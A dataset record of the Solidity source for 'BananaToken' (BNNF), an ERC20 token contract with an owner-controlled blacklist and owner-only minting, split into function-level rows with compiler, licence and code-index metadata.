_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | _approve | function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
8166,
8489
]
} | 9,005 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | _burnFrom | function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
| /**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
8658,
8883
]
} | 9,006 |
Subsets and Splits